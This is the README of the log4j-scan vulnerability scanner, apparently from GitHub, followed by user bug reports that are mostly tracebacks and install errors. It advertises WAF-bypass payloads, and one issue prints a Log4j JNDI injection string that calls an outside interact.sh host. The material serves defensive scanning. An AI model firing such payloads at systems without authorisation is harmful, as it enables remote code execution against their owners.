fullhunt/log4j-scan

A fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228

log4j-scan

A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts

Features

• Support for lists of URLs.
• Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).
• Fuzzing for HTTP POST Data parameters.
• Fuzzing for JSON data parameters.
• Supports DNS callback for vulnerability discovery and validation.
• WAF Bypass payloads.

---

🚨 Annoucement (October 20th, 2022)

FullHunt released an update to identify Apache Commons Text RCE (CVE-2022-42889). Apache Commons Text RCE is highly similar to Log4J RCE, and we recommend patching it as soon as possible. Vulnerable applications allow full remote-code execution. If help is needed in scanning and discovering this vulnerability on your infrastructure, please get in touch at ([email protected]).

🚨 Announcement (December 17th, 2021)

There is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at ([email protected]).

---

Description

We have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achieving code execution on the organization's environment.

It supports DNS OOB callbacks out of the box, there is no need to set up a DNS callback server.

Usage

$ python3 log4j-scan.py -h
python3 log4j-scan.py -h
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
usage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                     [--wait-time WAIT_TIME] [--waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test-CVE-2021-45046] [--test-CVE-2022-42889]
                     [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -p PROXY, --proxy PROXY
                        send requests through proxy
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  --request-type REQUEST_TYPE
                        Request Type: (get, post) - [Default: get].
  --headers-file HEADERS_FILE
                        Headers fuzzing list - [default: headers.txt].
  --run-all-tests       Run all available tests on each URL.
  --exclude-user-agent-fuzzing
                        Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.
  --wait-time WAIT_TIME
                        Wait time after all URLs are processed (in seconds) - [Default: 5].
  --waf-bypass          Extend scans with WAF bypass payloads.
  --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD
                        Test with custom WAF bypass payload.
  --test-CVE-2021-45046
                        Test using payloads for CVE-2021-45046 (detection payloads).
  --test-CVE-2022-42889
                        Test using payloads for Apache Commons Text RCE (CVE-2022-42889).
  --dns-callback-provider DNS_CALLBACK_PROVIDER
                        DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
  --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
                        Custom DNS Callback Host.
  --disable-http-redirects
                        Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.

Scan a Single URL

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local

Scan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests

Discover WAF bypasses against the environment.

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass

Scan a list of URLs

$ python3 log4j-scan.py -l urls.txt

Installation

$ pip3 install -r requirements.txt

Docker Support

git clone https://github.com/fullhunt/log4j-scan.git
cd log4j-scan
sudo docker build -t log4j-scan .
sudo docker run -it --rm log4j-scan

# With URL list "urls.txt" in current directory
docker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txt

About FullHunt

FullHunt is the next-generation attack surface management platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.

FullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges.

Legal Disclaimer

This project is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

The project is licensed under MIT License.

Author

Mazin Ahmed

• Email: mazin at FullHunt.io
• FullHunt: https://fullhunt.io
• Website: https://mazinahmed.net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed

log4j-scan's Issues

Bug on positive result

I just setup a vulnerable application (SpringBoot) using docker on port 8080, and it broke the python program after attempting to fetch the results:

└─$ ./log4j-scan.py -u http://127.0.0.1:8080
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://127.0.0.1:8080
[•] URL: http://127.0.0.1:8080 | PAYLOAD: ${jndi:ldap://127.0.0.1.n8jf4850r0784w8x91rncpp9m57l080qn.interact.sh/wc5dme5}
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
Traceback (most recent call last):
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 337, in
main()
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 326, in main
records = dns_callback.pull_logs()
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 195, in pull_logs
decrypt_data = self.__decrypt_data(aes_key, i)
File "/home/kali/Downloads/log4j-scan/./log4j-scan.py", line 207, in __decrypt_data
plain_text = cryptor.decrypt(decode)
File "/usr/lib/python3/dist-packages/Crypto/Cipher/blockalgo.py", line 295, in decrypt
return self._cipher.decrypt(ciphertext)
ValueError: Input strings must be a multiple of the segment size 16 in length

Error while trying to run the scan

root@b:/etc/log4j/log4j-scan# python3 log4j-scan.py -u https://172.17.62.4/web/frame/login.html
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/contrib/pyopenssl.py", line 485, in wrap_socket
cnx.do_handshake()
File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 1915, in do_handshake
self._raise_ssl_error(self._ssl, result)
File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 1639, in _raise_ssl_error
raise SysCallError(errno, errorcode.get(errno))
OpenSSL.SSL.SysCallError: (104, 'ECONNRESET')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 665, in urlopen
httplib_response = self._make_request(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 376, in _make_request
self._validate_conn(conn)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 996, in validate_conn
conn.connect()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 366, in connect
self.sock = ssl_wrap_socket(
File "/usr/lib/python3/dist-packages/urllib3/util/ssl.py", line 370, in ssl_wrap_socket
return context.wrap_socket(sock, server_hostname=server_hostname)
File "/usr/lib/python3/dist-packages/urllib3/contrib/pyopenssl.py", line 491, in wrap_socket
raise ssl.SSLError("bad handshake: %r" % e)
ssl.SSLError: ("bad handshake: SysCallError(104, 'ECONNRESET')",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 719, in urlopen
retries = retries.increment(
File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 436, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLError("bad handshake: SysCallError(104, 'ECONNRESET')")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "log4j-scan.py", line 349, in
main()
File "log4j-scan.py", line 319, in main
dns_callback = Interactsh()
File "log4j-scan.py", line 185, in init
self.register()
File "log4j-scan.py", line 193, in register
res = self.session.post(
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 581, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by SSLError(SSLError("bad handshake: SysCallError(104, 'ECONNRESET')")))

[Feature Request]: Support additional protocols (in addition to the currently-supported HTTP/HTTPS)

I see lot of scripts and scanners checking only http while other services could be affected as well. check out https://github.com/Diverto/nse-log4shell - it tries most popular exposed ones like ssh and imap.
Another thing, nse script sends test payload in username and password place if basic, ntlm, digest authorization is detected.

https://twitter.com/k0st/status/1470306761630441472
By: https://github.com/kost

Line 122 Invalid Syntax

~/log4j-scan$ python3 log4j-scan.py -u https://log4j.lab.secbot.local
File "log4j-scan.py", line 122
fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
SyntaxError: invalid syntax

Exception: Can not initiate interact.sh DNS callback client

I get this output when running this script:

[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "log4j-scan.py", line 362, in
main()
File "log4j-scan.py", line 332, in main
dns_callback = Interactsh()
File "log4j-scan.py", line 195, in init
self.register()
File "log4j-scan.py", line 206, in register
raise Exception("Can not initiate interact.sh DNS callback client")
Exception: Can not initiate interact.sh DNS callback client

What am I missing? Tried it with and without a proxy and get the exact same error.

Thanks!

Sending POST data?

How can we send the POST data using these tool.

Pycrypto issue

The requirements.txt suggest installing pycrypto, which results in the following error when performing a scan:

AttributeError: module 'time' has no attribute 'clock'

According to this issue pycrypto is dead. I solved the issue by installing a fork:

pip3 uninstall pycrypto
pip3 install -U pycryptodome

'cp949' codec can't encode character '\u2022' in position 6: illegal multibyte sequence

$ python log4j-scan.py -h
Traceback (most recent call last):
  File "log4j-scan.py", line 37, in <module>
    cprint('[\u2022] CVE-2021-44228 - Apache Log4j RCE Scanner', "green")
  File "C:\Users\comes\AppData\Local\Programs\Python\Python37\lib\site-packages\termcolor.py", line 124, in cprint
    print((colored(text, color, on_color, attrs)), **kwargs)
UnicodeEncodeError: 'cp949' codec can't encode character '\u2022' in position 6: illegal multibyte sequence

Remove All • in [•] will resolve issues, for non-english users.

python version:

$ python --version
Python 3.7.9

Running setup.py install for pycrypto ... error

I get error while pip3 install -r requirements.txt

Using legacy 'setup.py install' for pycrypto, since package 'wheel' is not installed.
Installing collected packages: pycrypto
    Running setup.py install for pycrypto ... error
    ERROR: Command errored out with exit status 1:
     command: /usr/bin/python3 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-5r7yx3m5/pycrypto/setup.py'"'"'; __file__='"'"'/tmp/pip-install-5r7yx3m5/pycrypto/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /tmp/pip-record-bn5ef8y7/install-record.txt --single-version-externally-managed --user --prefix= --compile --install-headers /home/ec2-user/.local/include/python3.7m/pycrypto
         cwd: /tmp/pip-install-5r7yx3m5/pycrypto/
    Complete output (189 lines):
    running install
    running build
    running build_py
    creating build
    creating build/lib.linux-x86_64-3.7
    creating build/lib.linux-x86_64-3.7/Crypto
    copying lib/Crypto/__init__.py -> build/lib.linux-x86_64-3.7/Crypto
    copying lib/Crypto/pct_warnings.py -> build/lib.linux-x86_64-3.7/Crypto
    creating build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/SHA224.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/SHA384.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/SHA.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/MD4.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/RIPEMD.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/MD2.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/HMAC.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/SHA512.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/hashalgo.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/SHA256.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    copying lib/Crypto/Hash/MD5.py -> build/lib.linux-x86_64-3.7/Crypto/Hash
    creating build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/PKCS1_OAEP.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/DES.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/ARC4.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/XOR.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/CAST.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/PKCS1_v1_5.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/blockalgo.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/AES.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/ARC2.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/DES3.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    copying lib/Crypto/Cipher/Blowfish.py -> build/lib.linux-x86_64-3.7/Crypto/Cipher
    creating build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/asn1.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/_number_new.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/winrandom.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/Counter.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/RFC1751.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/randpool.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/py3compat.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    copying lib/Crypto/Util/number.py -> build/lib.linux-x86_64-3.7/Crypto/Util
    creating build/lib.linux-x86_64-3.7/Crypto/Random
    copying lib/Crypto/Random/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Random
    copying lib/Crypto/Random/_UserFriendlyRNG.py -> build/lib.linux-x86_64-3.7/Crypto/Random
    copying lib/Crypto/Random/random.py -> build/lib.linux-x86_64-3.7/Crypto/Random
    creating build/lib.linux-x86_64-3.7/Crypto/Random/Fortuna
    copying lib/Crypto/Random/Fortuna/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Random/Fortuna
    copying lib/Crypto/Random/Fortuna/SHAd256.py -> build/lib.linux-x86_64-3.7/Crypto/Random/Fortuna
    copying lib/Crypto/Random/Fortuna/FortunaGenerator.py -> build/lib.linux-x86_64-3.7/Crypto/Random/Fortuna
    copying lib/Crypto/Random/Fortuna/FortunaAccumulator.py -> build/lib.linux-x86_64-3.7/Crypto/Random/Fortuna
    creating build/lib.linux-x86_64-3.7/Crypto/Random/OSRNG
    copying lib/Crypto/Random/OSRNG/posix.py -> build/lib.linux-x86_64-3.7/Crypto/Random/OSRNG
    copying lib/Crypto/Random/OSRNG/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Random/OSRNG
    copying lib/Crypto/Random/OSRNG/fallback.py -> build/lib.linux-x86_64-3.7/Crypto/Random/OSRNG
    copying lib/Crypto/Random/OSRNG/rng_base.py -> build/lib.linux-x86_64-3.7/Crypto/Random/OSRNG
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest
    copying lib/Crypto/SelfTest/st_common.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest
    copying lib/Crypto/SelfTest/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_pkcs1_15.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_ARC4.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_AES.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_ARC2.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_Blowfish.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_XOR.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_DES.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/common.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_pkcs1_oaep.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_CAST.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    copying lib/Crypto/SelfTest/Cipher/test_DES3.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Cipher
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_SHA256.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_MD2.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_HMAC.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_SHA384.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_RIPEMD.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_MD5.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_SHA.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/common.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_MD4.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_SHA224.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    copying lib/Crypto/SelfTest/Hash/test_SHA512.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Hash
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    copying lib/Crypto/SelfTest/Protocol/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    copying lib/Crypto/SelfTest/Protocol/test_rfc1751.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    copying lib/Crypto/SelfTest/Protocol/test_chaffing.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    copying lib/Crypto/SelfTest/Protocol/test_KDF.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    copying lib/Crypto/SelfTest/Protocol/test_AllOrNothing.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Protocol
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    copying lib/Crypto/SelfTest/PublicKey/test_ElGamal.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    copying lib/Crypto/SelfTest/PublicKey/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    copying lib/Crypto/SelfTest/PublicKey/test_DSA.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    copying lib/Crypto/SelfTest/PublicKey/test_RSA.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    copying lib/Crypto/SelfTest/PublicKey/test_importKey.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/PublicKey
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random
    copying lib/Crypto/SelfTest/Random/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random
    copying lib/Crypto/SelfTest/Random/test_random.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random
    copying lib/Crypto/SelfTest/Random/test_rpoolcompat.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random
    copying lib/Crypto/SelfTest/Random/test__UserFriendlyRNG.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/Fortuna
    copying lib/Crypto/SelfTest/Random/Fortuna/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/Fortuna
    copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaAccumulator.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/Fortuna
    copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaGenerator.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/Fortuna
    copying lib/Crypto/SelfTest/Random/Fortuna/test_SHAd256.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/Fortuna
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/test_generic.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/test_nt.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/test_fallback.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/test_winrandom.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    copying lib/Crypto/SelfTest/Random/OSRNG/test_posix.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Random/OSRNG
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    copying lib/Crypto/SelfTest/Util/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    copying lib/Crypto/SelfTest/Util/test_asn1.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    copying lib/Crypto/SelfTest/Util/test_number.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    copying lib/Crypto/SelfTest/Util/test_winrandom.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    copying lib/Crypto/SelfTest/Util/test_Counter.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Util
    creating build/lib.linux-x86_64-3.7/Crypto/SelfTest/Signature
    copying lib/Crypto/SelfTest/Signature/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Signature
    copying lib/Crypto/SelfTest/Signature/test_pkcs1_15.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Signature
    copying lib/Crypto/SelfTest/Signature/test_pkcs1_pss.py -> build/lib.linux-x86_64-3.7/Crypto/SelfTest/Signature
    creating build/lib.linux-x86_64-3.7/Crypto/Protocol
    copying lib/Crypto/Protocol/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Protocol
    copying lib/Crypto/Protocol/KDF.py -> build/lib.linux-x86_64-3.7/Crypto/Protocol
    copying lib/Crypto/Protocol/Chaffing.py -> build/lib.linux-x86_64-3.7/Crypto/Protocol
    copying lib/Crypto/Protocol/AllOrNothing.py -> build/lib.linux-x86_64-3.7/Crypto/Protocol
    creating build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/_RSA.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/ElGamal.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/_DSA.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/DSA.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/RSA.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/pubkey.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    copying lib/Crypto/PublicKey/_slowmath.py -> build/lib.linux-x86_64-3.7/Crypto/PublicKey
    creating build/lib.linux-x86_64-3.7/Crypto/Signature
    copying lib/Crypto/Signature/__init__.py -> build/lib.linux-x86_64-3.7/Crypto/Signature
    copying lib/Crypto/Signature/PKCS1_v1_5.py -> build/lib.linux-x86_64-3.7/Crypto/Signature
    copying lib/Crypto/Signature/PKCS1_PSS.py -> build/lib.linux-x86_64-3.7/Crypto/Signature
    Skipping optional fixer: buffer
    Skipping optional fixer: idioms
    Skipping optional fixer: set_literal
    Skipping optional fixer: ws_comma
    running build_ext
    running build_configure
    checking for gcc... no
    checking for cc... no
    checking for cl.exe... no
    configure: error: in `/tmp/pip-install-5r7yx3m5/pycrypto':
    configure: error: no acceptable C compiler found in $PATH
    See `config.log' for more details
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-5r7yx3m5/pycrypto/setup.py", line 456, in <module>
        core.setup(**kw)
      File "/usr/lib64/python3.7/distutils/core.py", line 148, in setup
        dist.run_commands()
      File "/usr/lib64/python3.7/distutils/dist.py", line 966, in run_commands
        self.run_command(cmd)
      File "/usr/lib64/python3.7/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/usr/lib/python3.7/site-packages/setuptools/command/install.py", line 61, in run
        return orig.install.run(self)
      File "/usr/lib64/python3.7/distutils/command/install.py", line 556, in run
        self.run_command('build')
      File "/usr/lib64/python3.7/distutils/cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "/usr/lib64/python3.7/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/usr/lib64/python3.7/distutils/command/build.py", line 135, in run
        self.run_command(cmd_name)
      File "/usr/lib64/python3.7/distutils/cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "/usr/lib64/python3.7/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/tmp/pip-install-5r7yx3m5/pycrypto/setup.py", line 251, in run
        self.run_command(cmd_name)
      File "/usr/lib64/python3.7/distutils/cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "/usr/lib64/python3.7/distutils/dist.py", line 985, in run_command
        cmd_obj.run()
      File "/tmp/pip-install-5r7yx3m5/pycrypto/setup.py", line 278, in run
        raise RuntimeError("autoconf error")
    RuntimeError: autoconf error
    ----------------------------------------
